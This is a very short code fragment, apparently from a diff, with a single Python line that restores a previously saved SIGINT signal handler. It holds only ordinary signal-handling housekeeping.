+
signal.signal(signal.SIGINT, old_sig)
|